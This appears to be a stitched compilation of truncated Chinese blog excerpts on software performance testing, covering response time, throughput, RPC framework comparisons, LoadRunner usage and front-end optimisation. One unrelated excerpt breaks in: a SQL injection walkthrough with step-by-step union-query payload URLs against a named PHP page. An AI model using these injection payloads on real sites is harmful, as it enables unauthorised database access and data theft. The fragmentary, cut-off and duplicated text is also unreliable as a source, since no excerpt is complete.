响应时间

Dubbo 是阿里巴巴公司开源的一个Java高性能优秀的服务框架，使得应用可通过高性能的 RPC 实现服务的输出和输入功能，可以和 Spring框架无缝集成。 Motan 是新浪微博开源的一个Java 框架。它诞生的比较晚，起于2013年，2016年5月开源。Motan 在微博平台中已经广泛应用，每天为数百个服务完成近千亿次的调用。 rpcx 是Go语言生态圈的Dubbo， 比Dubbo更轻量，实现了Dubbo的许多特性，借助于Go语言优秀的并发特性和简洁语法，可以使用较少的代码实现分布式的RPC服务。 gRPC 是Google开发的高性能、通用的开源RPC框架，其由Google主要面向移动应用开发并基于HTTP/2协议标准而设计，基于ProtoBuf(Protocol Buffers)序列化协议开发，且支持众多开发语言。本身它不是分布式的，所以要实现上面的框架的功能需要进一步的开发。 thrift 是Apache的一个跨语言的高性能的服务框架，也得到了广泛的应用。 以下是它们的功能比较： 对于RPC的考察， 性能是很重要的一点，因为RPC框架经常用在服务的大并发调用的环境中，性能的好坏决定服务的质量以及公司在硬件部署上的花费。 本文通过一个统一的服务，测试这四种框架实现的完整的服务器端和客户端的性能。 这个服务传递的消息体有一个protobuf文件定义： syntax =

计算机系统的总体性能标准是响应时间和吞吐量。 响应时间 是提交请求和返回该请求的响应之间使用的时间。示例包括： 数据库 查询花费的时间 将字符回显到终端上花费的时间 访问 Web 页面花费的时间 吞吐量 是对单位时间内完成的 工作 量的量度。示例包括： 每分钟的数据库事务 每秒传送的文件千字节数 每秒读或写的文件千字节数 每分钟的 Web 服务器命中数 这些度量之间的关系很复杂。有时可能以响应时间为代价而得到较高的吞吐量，而有时候又要以吞吐量为代价得到较好的响应时间。在 其他 情况下，一个单独的更改可能对两者都有提高。可接受的性能基于合理的吞吐量与合理的响应时间相结合。" ----摘抄于 IBM-性能目标 http://publib.boulder.ibm.com/infocenter/systems/index.jsp?topic=/com.ibm.aix.prftungd/doc/prftungd/corr_svmon_ps_outputs.htm 悟:曾经在实际的 测试 工作中遇到这种情况,某一个应用程序,用LR进行 性能测试 ,项目组曾经把思考时间分别设为10秒和0秒,得到了两个差别较大的并发数,曾经有位资深人士说,如果思考时间够大,即使用很差的机器也能做出很大的并发数. 在性能测试中，作为评价性能好坏的两个重要指标：吞吐量和响应时间， 是很容易让人混淆的。 吞吐量

虽然，有一段时间没关注性能测试，但时常还能看到有同学讨论性能，对于一些概念的理解很想深入讨论，但三言两语说不清，于是，还是花点时间写写吧！ 　　今天有一个同学问：“一个小的系统，用户并发数为20个，那事务平均响应时间大概在什么范围内？” 怕麻烦直接告诉他2/5/8原则，钻牛角尖的话，需要进一步确认什么样的小系统？提供的什么类型的业务？用户行为是什么样的？用户对系统的使用频率？就算同响应时时间一样，前端通过不同展现方法，用户的感知可能完全不一样。下面就真对这个问题延伸讨论一下从用户感知的角度看软件性能测试。 2/5/8原则 　　2/5/8原则是上个世纪80年代某公司真对自己公司的应用做的一个调查，调查的结果就是当用户能够在2秒以内得到响应时，会感觉系统的响应很快；当用户在2-5秒之间得到响应时，会感觉系统的响应速度还可以；当用户在5-8秒以内得到响应时，会感觉系统的响应速度很慢，但是还可以接受；而当用户在超过8秒后仍然无法得到响应时，会感觉系统糟透了，或者认为系统已经失去响应，而选择离开或者发起第二次请求。 　　到90年代的时候英国真对零售业的网站又做了一次调查， 它的调查结果是一个用户真对一个页面的响应的最长忍耐时间是4s，超过4s 大量的用户会选择放弃页面的响应。 　　我在《 性能测试知多少---响应时间 》中已经对用户的响应时间做过分析

　　 　　虽然，有一段时间没关注性能测试，但时常还能看到有同学讨论性能，对于一些概念的理解很想深入讨论，但三言两语说不清，于是，还是花点时间写写吧！ 　　今天有一个同学问：“一个小的系统，用户并发数为 20 个，那事务平均响应时间大概在什么范围内？” 怕麻烦直接告诉他 2/5/8 原则，钻牛角尖的话， 需要进一步确认什么样的小系统？提供的什么类型的业务？用户行为是什么样的？用户对系统的使用频率？就算同响应时时间一样，前端通过不同展现方法，用户的感知可能完全不一样。下面就真对这个问题延伸讨论一下从用户感知的角度看软件性能测试。 2/5/8原则 　　2/5/8 原则 是上个世纪 80 年代某公司真对自己公司的应用做的一个调查，调查的结果 就是当用户能够在 2 秒以内得到响应时，会感觉系统的响应很快；当用户在 2-5 秒之间得到响应时，会感觉系统的响应速度还可以；当用户在 5-8 秒以内得到响应时，会感觉系统的响应速度很慢，但是还可以接受；而当用户在超过 8 秒后仍然无法得到响应时，会感觉系统糟透了，或者认为系统已经失去响应，而选择离开或者发起第二次请求。 　　到 90 年代的时候英国真对零售业的网站又做了一次调查， 它的调查结果是一个用户真对一个页面的响应的最长忍耐时间是 4s ，超过 4s 大量的用户会选择放弃页面的响应。 　　我在《 性能测试知多少 --- 响应时间

性能测试（Performance Test） 通常收集所有和测试有关的所有性能，通常被不同人在不同场合下进行使用。 性能测试是一种 “正常”测试 ，主要测试使用时系统是否满足要求，同时可能为了保留系统的扩展空间而进行的一些 稍稍超过“正常”范围 的测试（比如：当前系统使用用户100人，可能未来人数会增多到300人，所以要让系统能够在300人情况下正常运行） （1）是系统测试的一种，属于黑盒测试。 （2）是在一定软硬件网络情况下，系统响应时间等特性是否满足需求。 （3）给定的基准条件下，能执行的最好情况。 （4）性能测试是动力 压力测试（Stress Test） 压力测试的目标是测试在一定的负载下系统长时间运行的稳定性，但是这个负载不一定是应用系统本身造成的。比如我们经常利用脚本或工具事先吃掉服务器的一部分cpu、内存或带宽等，创造出一定的负载环境并测试被测应用系统在此环境下的事物处理能力，响应时间等等。压力测试尤其关注大业务量情况下长时间运行系统性能的变化（例如是否反应变慢、是否会内存泄漏导致系统逐渐崩溃、是否能恢复）。 （1）大量虚拟用户向服务器产生负载，使服务器资源处于极限状态下并长时间运行，服务器是否能够正常工作。 （2） 它强调的是极端情况下系统的稳定性。 （3）分为稳定性压力测试和破坏性压力测试 （4）压力测试是强度 负载测试(load test) （1

performance_test learning syllabus 背景 为什么要做性能测试 性能测试与功能测试的区别 相关术语（概念） 响应时间 并发用户数 TPS（Transaction Per Second） 性能测试学习大纲 一、操作系统篇 二、通信网络及协议 三、Linux重要基础命令 四、Web服务及中间件 五、MySQL数据库 六、NoSQL数据库Redis 七、性能理论和工具 八、接口测试篇（基础+高级） 九、JVM调优 十、TCP原理 十一、监控分析调优 十二、网站架构 背景 性能测试作为测试行业中一块较具技术含量的领域，许多人学习时无从下手。为方便新手更好的接触性能测试，本人网上收集了一些资料并结合本人的一些经验来帮助大家更好的学习性能测试。 为什么要做性能测试 1）目前绝大多数应用都是基于网络的分布式应用，我们无法知道用户数量，用户场景的不确定性，系统测试时，不仅仅是功能，业务逻辑，接口测试，还要测试系统性能。一个用户没问题，但是用户一旦多了就可能出现各种各样的问题，所以需要进行系统性能测试。 2）用户数量增加，系统负债增加，进行系统性能测试，知道系统承受的并发用户数量，带宽是否够用，cpu是否够用，内存是否够用，硬盘速度是否跟得上。从服务端来看，测试服务器是否能承载用户多并发，系统是否稳定，从用户角度看响应时间速度。 性能测试与功能测试的区别 功能测试：

内容部分 1.尽量减少HTTP请求数 　　80%的终端用户响应时间都花在了前端上，其中大部分时间都在下载页面上的各种组件：图片，样式表，脚本，Flash等等。减少组件数必然能够减少页面提交的HTTP请求数。这是让页面更快的关键。 　　减少页面组件数的一种方式是简化页面设计。但有没有一种方法可以在构建复杂的页面同时加快响应时间呢？嗯，确实有鱼和熊掌兼得的办法。 　　合并文件 是通过把所有脚本放在一个文件中的方式来减少请求数的，当然，也可以合并所有的CSS。如果各个页面的脚本和样式不一样的话，合并文件就是一项比较麻烦的工作了，但把这个作为站点发布过程的一部分确实可以提高响应时间。 　　CSS Sprites 是减少图片请求数量的首选方式。把背景图片都整合到一张图片中，然后用CSS的 background-image 和 background-position 属性来定位要显示的部分。 　　图像映射 可以把多张图片合并成单张图片，总大小是一样的，但减少了请求数并加速了页面加载。图片映射只有在图像在页面中连续的时候才有用，比如导航条。给image map设置坐标的过程既无聊又容易出错，用image map来做导航也不容易，所以不推荐用这种方式。 　　行内图片（Base64编码） 用 data: URL模式 来把图片嵌入页面。这样会增加HTML文件的大小，把行内图片放在（缓存的

目录 Mysql注入 union query（union联合查询） time-based blind（基于时间的盲注） boolean-based blind（基于布尔型盲注） Access注入 boolean-based blind（基于布尔型盲注） Mysql注入 union query（union联合查询） 1、回显正确 http://www.dandelion.com/about.php?id=15' and 1=1 --+ 2、回显错误，断定存在注入，并确认payload http://www.dandelion.com/about.php?id=15' and 1=2 --+ 3、回显错误，字段小于9 http://www.dandelion.com/about.php?id=15' order by 9 --+ 4、回显正确，字段长度为8（凡是小于等于正确字段长度都会回显正确） http://www.dandelion.com/about.php?id=15' order by 8 --+ 5、将参数改为负值（清空页面输出），并构造联合查询 http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,5,6,7,8 --+ 输出： 5 6、查询用户名，当前数据库名，当前数据库版本，数据库路径

一、为什么要合并图表 说明：合并图表是为了更好的定位系统瓶颈，比如把虚拟用户运行图和平均响应事务时间合并，能直观体现虚拟用户数量 对服务器处理事务产生的影响； 二、Analysis合并图 1. Running Vusers(虚拟运行用户) 2. Average Transaction Response Time(平均事务响应时间) 说明：在合并之前，我们先拿两张图来演示 1). Running Vusers(虚拟运行用户) 2). Transaction Response Time(平均事务响应时间) 2.1 合并图操作说明 1. 操作说明： 1). 打开合并选项菜单 (Ctrl+M 或者 在要合并的图表上点击鼠标右键->merge Graphs) 2). 标1：选择要合并的图(并入) 如：Running Vusers 3). 标2：选择并入的方式： (1). Overlay(叠加) (2). Tile(平铺) (3). Correlate(关联) 2.2 合并方式-Overlay(叠加) 说明：两个图使用相同的X轴，并入的图Y轴合并后在最右侧； 2.3 合并方式-Tile(平铺) 说明：两个图公用一个X轴，Y轴各自保持不变，并入图在上方； 2.4 合并方式-Correlate(关联) 说明： 1. 主图的Y轴变成合并后的X轴，合并图的Y轴，为合并后的Y轴； 2. 合并的时候

最近组内同事针对性能测试LR的脚本部分做了介绍，是个不错的分享。会后反思自己也有很长一段时间没做性能测试了，根据以往的经验，有必要做些整理和补充，本文主要介绍一些Loadrunner性能测试的学习方法、思路、流程以及测试过程中需要注意的点。脚本相关的介绍在这篇文章就不过多描述了，有兴趣的朋友网上进行查找，资料也相对比较丰富。 一、Loadrunner初步了解 关于Loadrunner的学习，初期重点关注Vuser Generator的使用，需掌握以下内容，再去实战操作基本就不难了。 录制脚本的基本步骤； 理解基础函数的含义：lr_start_transaction(),lr_end_transaction(),web_reg_find(),web_url(),web_submit_form(); 会看输出窗口中的Replay log； Vuser-Run Time Setting中Run logic\log\Think Time的设置； 脚本的迭代； 手动写脚本，掌握基本函数； Loadrunner参数的设置； 针对我们目前的项目基本上是做HTTP/HTTPS协议的压测，大家手上有项目时，可以通过录制了解一下整个HTTP请求及响应的情况，学习一下Loadrunner内置的函数。 另外参数设置、迭代、关联函数等等希望大家查一下资料弄懂，实践一下不同方式有什么不同。 二、性能指标